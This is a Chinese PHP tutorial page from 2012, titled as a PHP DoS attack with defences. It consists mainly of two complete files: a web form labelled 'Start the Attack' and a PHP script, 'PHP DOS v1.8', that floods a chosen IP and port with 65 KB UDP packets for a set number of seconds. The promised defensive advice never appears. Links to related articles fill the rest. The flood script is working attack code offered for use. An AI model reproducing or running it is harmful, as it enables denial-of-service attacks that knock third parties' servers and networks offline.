php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
PHP面向对象编程快速入门
Oct 09 PHP
PHP中实现中文字符进制转换原理分析
Dec 06 PHP
php+js实现图片的上传、裁剪、预览、提交示例
Aug 27 PHP
PHP中使用localhost连接Mysql不成功的解决方法
Aug 20 PHP
跨浏览器PHP下载文件名中的中文乱码问题解决方法
Mar 05 PHP
怎样搭建PHP开发环境
Jul 28 PHP
分享五个PHP7性能优化提升技巧
Dec 07 PHP
thinkPHP3.2简单实现文件上传的方法
May 16 PHP
深入剖析PHP中printf()函数格式化使用
May 23 PHP
phalcon model在插入或更新时会自动验证非空字段的解决办法
Dec 29 PHP
php防止sql注入的方法详解
Feb 20 PHP
php实现留言板功能(代码详解)
Mar 28 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
如何对PHP程序中的常见漏洞进行攻击(上)
2006/10/09 PHP
PHP中ADODB类详解
2008/03/25 PHP
PHP中strtotime函数使用方法详解
2011/11/27 PHP
php程序总是提示验证码输入有误解决方案
2015/01/07 PHP
HTML中嵌入PHP的简单方法
2016/02/16 PHP
浅谈关于PHP解决图片无损压缩的问题
2017/09/01 PHP
PHP有序表查找之插值查找算法示例
2018/02/10 PHP
PHP levenshtein()函数用法讲解
2019/03/08 PHP
javascript 面向对象编程基础:继承
2009/08/21 Javascript
JavaScript高级程序设计 扩展--关于动态原型
2010/11/09 Javascript
关于JavaScript的with 语句的使用方法
2011/05/09 Javascript
addEventListener 的用法示例介绍
2014/05/07 Javascript
jquery获取选中的文本和值的方法
2014/07/08 Javascript
JavaScript使用二分查找算法在数组中查找数据的方法
2015/04/07 Javascript
Jquery调用iframe父页面中的元素及方法
2016/08/23 Javascript
jQuery 局部div刷新和全局刷新方法总结
2016/10/05 Javascript
Vue 父子组件、组件间通信
2017/03/08 Javascript
JS数组去重(4种方法)
2017/03/27 Javascript
vue2.x 父组件监听子组件事件并传回信息的方法
2017/07/17 Javascript
Vue2 SSR渲染根据不同页面修改 meta
2017/11/20 Javascript
Vue.js如何使用Socket.IO的示例代码
2019/09/05 Javascript
JavaScript实现打砖块游戏
2020/02/25 Javascript
Python类的基础入门知识
2008/11/24 Python
python读写二进制文件的方法
2015/05/09 Python
Python编程判断一个正整数是否为素数的方法
2017/04/14 Python
解决python3读取Python2存储的pickle文件问题
2018/10/25 Python
Python实现KNN(K-近邻)算法的示例代码
2019/03/05 Python
opencv3/python 鼠标响应操作详解
2019/12/11 Python
python利用os模块编写文件复制功能——copy()函数用法
2020/07/13 Python
CSS3属性使网站设计增强同时不消弱可用性
2009/08/29 HTML / CSS
学生的自我鉴定范文
2013/10/24 职场文书
银行优秀员工事迹
2014/02/06 职场文书
2014旅游局党组书记党建工作汇报材料
2014/11/02 职场文书
护士自我推荐信范文
2015/03/24 职场文书
浅谈redis缓存在项目中的使用
2021/05/20 Redis
Java实现超大Excel文件解析(XSSF,SXSSF,easyExcel)
2022/07/15 Java/Android